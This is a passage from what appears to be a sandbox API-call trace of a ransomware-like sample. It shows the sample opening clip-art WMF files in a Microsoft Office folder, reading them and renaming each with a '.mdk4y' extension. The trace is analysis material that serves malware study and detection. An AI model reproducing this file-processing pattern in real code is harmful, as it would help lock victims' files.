lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00407_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00407_.wmf.mdk4y")) returned 1 [0132.908] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.908] AreFileApisANSI () returned 1 [0132.908] GetACP () returned 0x4e4 [0132.908] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00413_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00413_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.908] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.909] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820813900000) returned 1 [0132.909] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa7f0, lpOverlapped=0x0) returned 1 [0132.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820821800000) returned 1 [0132.988] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820821800000) returned 1 [0132.989] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00413_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00413_.wmf.mdk4y")) returned 1 [0132.990] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.990] AreFileApisANSI () returned 1 [0132.990] GetACP () returned 0x4e4 [0132.990] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00414_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00414_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.990] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.990] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822000000) returned 1 [0132.990] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xa79c, lpOverlapped=0x0) returned 1 [0132.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822100000) returned 1 [0132.991] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822100000) returned 1 [0132.992] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00414_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00414_.wmf.mdk4y")) returned 1 [0132.992] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.992] AreFileApisANSI () returned 1 [0132.992] GetACP () returned 0x4e4 [0132.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00419_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00419_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.992] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822300000) returned 1 [0132.993] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2c8, lpOverlapped=0x0) returned 1 [0132.993] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822300000) returned 1 [0132.994] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822400000) returned 1 [0132.994] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00419_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00419_.wmf.mdk4y")) returned 1 [0132.995] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0132.995] AreFileApisANSI () returned 1 [0132.995] GetACP () returned 0x4e4 [0132.995] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00437_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00437_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0132.995] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0132.995] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820822500000) returned 1 [0132.995] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78c, lpOverlapped=0x0) returned 1 [0133.020] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820825000000) returned 1 [0133.021] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820825000000) returned 1 [0133.021] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00437_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00437_.wmf.mdk4y")) returned 1 [0133.021] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.021] AreFileApisANSI () returned 1 [0133.022] GetACP () returned 0x4e4 [0133.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00448_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00448_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.022] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.022] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820825200000) returned 1 [0133.022] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xb88, lpOverlapped=0x0) returned 1 [0133.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820828600000) returned 1 [0133.056] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820828600000) returned 1 [0133.056] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00448_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00448_.wmf.mdk4y")) returned 1 [0133.057] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.057] AreFileApisANSI () returned 1 [0133.057] GetACP () returned 0x4e4 [0133.057] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00449_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00449_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.057] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.057] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820828700000) returned 1 [0133.057] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2708, lpOverlapped=0x0) returned 1 [0133.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820829500000) returned 1 [0133.065] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820829500000) returned 1 [0133.065] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00449_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00449_.wmf.mdk4y")) returned 1 [0133.066] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.066] AreFileApisANSI () returned 1 [0133.066] GetACP () returned 0x4e4 [0133.066] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00687_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00687_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.066] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820829600000) returned 1 [0133.066] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x5130, lpOverlapped=0x0) returned 1 [0133.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820830500000) returned 1 [0133.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820830500000) returned 1 [0133.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00687_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00687_.wmf.mdk4y")) returned 1 [0133.076] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.076] AreFileApisANSI () returned 1 [0133.076] GetACP () returned 0x4e4 [0133.076] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD00705_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD00705_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.076] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.077] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820830700000) returned 1 [0133.077] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x600c, lpOverlapped=0x0) returned 1 [0133.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832500000) returned 1 [0133.095] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832500000) returned 1 [0133.096] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD00705_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd00705_.wmf.mdk4y")) returned 1 [0133.096] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.096] AreFileApisANSI () returned 1 [0133.096] GetACP () returned 0x4e4 [0133.096] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01015_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01015_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.096] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.097] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832700000) returned 1 [0133.097] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b2, lpOverlapped=0x0) returned 1 [0133.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832800000) returned 1 [0133.098] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832800000) returned 1 [0133.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01015_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01015_.wmf.mdk4y")) returned 1 [0133.099] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.099] AreFileApisANSI () returned 1 [0133.099] GetACP () returned 0x4e4 [0133.099] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01039_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01039_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.099] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.099] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820832900000) returned 1 [0133.099] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x39e4, lpOverlapped=0x0) returned 1 [0133.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820853800000) returned 1 [0133.308] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820853800000) returned 1 [0133.308] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01039_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01039_.wmf.mdk4y")) returned 1 [0133.309] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.310] AreFileApisANSI () returned 1 [0133.310] GetACP () returned 0x4e4 [0133.310] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01138_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01138_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.310] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.310] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820854000000) returned 1 [0133.310] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe6c, lpOverlapped=0x0) returned 1 [0133.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820860200000) returned 1 [0133.372] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820860200000) returned 1 [0133.372] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01138_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01138_.wmf.mdk4y")) returned 1 [0133.373] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.373] AreFileApisANSI () returned 1 [0133.373] GetACP () returned 0x4e4 [0133.373] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01139_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01139_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.373] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.374] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820860400000) returned 1 [0133.374] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe30, lpOverlapped=0x0) returned 1 [0133.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820872200000) returned 1 [0133.492] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820872200000) returned 1 [0133.493] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01139_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01139_.wmf.mdk4y")) returned 1 [0133.494] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.494] AreFileApisANSI () returned 1 [0133.494] GetACP () returned 0x4e4 [0133.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01140_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01140_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.494] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820872500000) returned 1 [0133.496] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xe20, lpOverlapped=0x0) returned 1 [0133.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820879500000) returned 1 [0133.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820879500000) returned 1 [0133.566] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01140_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01140_.wmf.mdk4y")) returned 1 [0133.566] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0133.566] AreFileApisANSI () returned 1 [0133.566] GetACP () returned 0x4e4 [0133.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="DD01143_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="DD01143_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0133.567] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0133.567] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820879700000) returned 1 [0133.567] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x85c, lpOverlapped=0x0) returned 1 [0133.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820883500000) returned 1 [0133.605] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1820883500000) returned 1 [0133.606] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01143_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01143_.wmf.mdk4y")) returned 1 [0133.606] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 